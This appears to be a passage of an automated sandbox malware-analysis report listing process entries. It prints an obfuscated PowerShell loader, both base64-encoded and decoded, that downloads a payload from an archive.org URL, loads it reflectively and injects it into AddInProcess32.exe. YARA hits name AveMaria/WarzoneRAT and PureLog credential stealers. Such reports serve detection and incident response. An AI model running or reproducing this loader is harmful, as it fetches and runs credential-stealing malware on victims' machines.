Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LigoR3YgJypNRHIqJykubmFNRVszLDExLDJdLUpvaW4nJykgKCgnZGsnKyc3dScrJ3JsICcrJz0gWVNEaHR0cHM6Ly9pYTYwMDEwMC51cycrJy5hJysncmNoaXZlLm9yZy8yJysnNCcrJy8nKydpdGVtcy9kZXQnKydhaC0nKydub3RlLXYvJysnRGV0YWgnKydOJysnb3RlVi50JysneHQnKydZU0QnKyc7ZGs3JysnYicrJ2FzZScrJzY0Q28nKydudGVuJysndCcrJyA9ICcrJyhOZScrJ3ctTycrJ2JqZScrJ2N0ICcrJ1MnKyd5cycrJ3RlJysnbS5OZScrJ3QuV2ViQycrJ2xpZScrJ250KS5Eb3dubG8nKydhJysnZFMnKyd0cmluJysnZyhkJysnazd1JysncmwnKycpO2QnKydrJysnN2JpJysnbicrJ2FyeUNvJysnbicrJ3RlbicrJ3QgPSAnKydbU3lzdGUnKydtLkNvbnZlcnQnKyddOicrJzonKydGcicrJ29tQmFzZTY0UycrJ3RyaScrJ25nKGQnKydrJysnN2JhcycrJ2U2JysnNENvbnRlbicrJ3QpO2RrNycrJ2FzcycrJ2VtJysnYmwnKyd5ID0nKycgWycrJ1InKydlZmxlY3QnKydpb24uQXMnKydzJysnZW1ibHldOicrJzpMJysnb2EnKydkKGRrN2JpbicrJ2FyeScrJ0NvJysnbnRlbnQpOycrJ2RrN3R5JysncCcrJ2UgPSAnKydkaycrJzcnKydhcycrJ3NlJysnbWJseS5HZScrJ3RUeXBlKCcrJ1knKydTRFJ1JysnblAnKydFJysnLkhvbScrJ2VZJysnU0QnKycpO2RrN21ldGhvZCA9JysnIGRrNycrJ3R5cGUuJysnRycrJ2UnKyd0TWV0aCcrJ29kKFlTRFZBSVlTRCknKyc7ZGs3bWV0JysnaCcrJ28nKydkLkknKydudm9rZSgnKydkazduJysndWxsLCcrJyBbb2JqJysnZWN0W11dJysnQCgnKydZU0QnKyd0eHQuJysnZXknKyduby92JysnZWQuMnIuMzliMzQnKyc1MzAyYTAnKyc3NWIxYmMnKycwJysnZDQnKyc1YicrJzYzMicrJ2ViOScrJ2UnKydlNjInKyctYnUnKydwLycrJy86c3B0JysndGhZU0QgLCcrJyBZU0QnKydkZXNhdCcrJ2knKyd2JysnYWQnKydvWVMnKydEICwnKycgJysnWVNEJysnZCcrJ2VzYScrJ3RpJysndmFkbycrJ1knKydTRCcrJyAsICcrJ1lTRGRlc2F0aXZhZG9ZJysnUycrJ0QnKycsWScrJ1NEQWRkJysnSW5QJysncm8nKydjZXNzMycrJzJZU0QsWVNEWVNEJysnKSknKS5yRVBMYUNFKCdkazcnLFtzdFJpTmddW0NoYVJdMzYpLnJFUExhQ0UoJ1lTRCcsW3N0UmlOZ11bQ2hhUl0zOSkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	23:23:08
Start date:	01/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	4
Start time:	23:23:09
Start date:	01/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".((Gv 'MDr').naME[3,11,2]-Join'') (('dk'+'7u'+'rl '+'= YSDhttps://ia600100.us'+'.a'+'rchive.org/2'+'4'+'/'+'items/det'+'ah-'+'note-v/'+'Detah'+'N'+'oteV.t'+'xt'+'YSD'+';dk7'+'b'+'ase'+'64Co'+'nten'+'t'+' = '+'(Ne'+'w-O'+'bje'+'ct '+'S'+'ys'+'te'+'m.Ne'+'t.WebC'+'lie'+'nt).Downlo'+'a'+'dS'+'trin'+'g(d'+'k7u'+'rl'+');d'+'k'+'7bi'+'n'+'aryCo'+'n'+'ten'+'t = '+'[Syste'+'m.Convert'+']:'+':'+'Fr'+'omBase64S'+'tri'+'ng(d'+'k'+'7bas'+'e6'+'4Conten'+'t);dk7'+'ass'+'em'+'bl'+'y ='+' ['+'R'+'eflect'+'ion.As'+'s'+'embly]:'+':L'+'oa'+'d(dk7bin'+'ary'+'Co'+'ntent);'+'dk7ty'+'p'+'e = '+'dk'+'7'+'as'+'se'+'mbly.Ge'+'tType('+'Y'+'SDRu'+'nP'+'E'+'.Hom'+'eY'+'SD'+');dk7method ='+' dk7'+'type.'+'G'+'e'+'tMeth'+'od(YSDVAIYSD)'+';dk7met'+'h'+'o'+'d.I'+'nvoke('+'dk7n'+'ull,'+' [obj'+'ect[]]'+'@('+'YSD'+'txt.'+'ey'+'no/v'+'ed.2r.39b34'+'5302a0'+'75b1bc'+'0'+'d4'+'5b'+'632'+'eb9'+'e'+'e62'+'-bu'+'p/'+'/:spt'+'thYSD ,'+' YSD'+'desat'+'i'+'v'+'ad'+'oYS'+'D ,'+' '+'YSD'+'d'+'esa'+'ti'+'vado'+'Y'+'SD'+' , '+'YSDdesativadoY'+'S'+'D'+',Y'+'SDAdd'+'InP'+'ro'+'cess3'+'2YSD,YSDYSD'+'))').rEPLaCE('dk7',[stRiNg][ChaR]36).rEPLaCE('YSD',[stRiNg][ChaR]39) )"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.1399989665.000001B2A315C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AveMaria, Description: Yara detected AveMaria stealer, Source: 00000004.00000002.1399989665.000001B2A315C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_AveMaria_31d2bce9, Description: unknown, Source: 00000004.00000002.1399989665.000001B2A315C000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.1415526929.000001B2B2DE3000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AveMaria, Description: Yara detected AveMaria stealer, Source: 00000004.00000002.1415526929.000001B2B2DE3000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_AveMaria_31d2bce9, Description: unknown, Source: 00000004.00000002.1415526929.000001B2B2DE3000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000004.00000002.1443666553.000001B2BB240000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000004.00000002.1415526929.000001B2B3123000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	23:23:15
Start date:	01/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:	0xfc0000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.2626601197.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AveMaria, Description: Yara detected AveMaria stealer, Source: 00000005.00000002.2626601197.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_AveMaria_31d2bce9, Description: unknown, Source: 00000005.00000002.2626601197.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 00000005.00000002.2626601197.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: AveMaria_WarZone, Description: unknown, Source: 00000005.00000002.2626601197.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM, Description: Detects executables embedding command execution via IExecuteCommand COM object, Source: 00000005.00000002.2626601197.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_WarzoneRAT, Description: Detects AveMaria/WarzoneRAT, Source: 00000005.00000002.2626601197.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_PrivateLoader, Description: Yara detected PrivateLoader, Source: 00000005.00000002.2631497769.0000000004D7D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false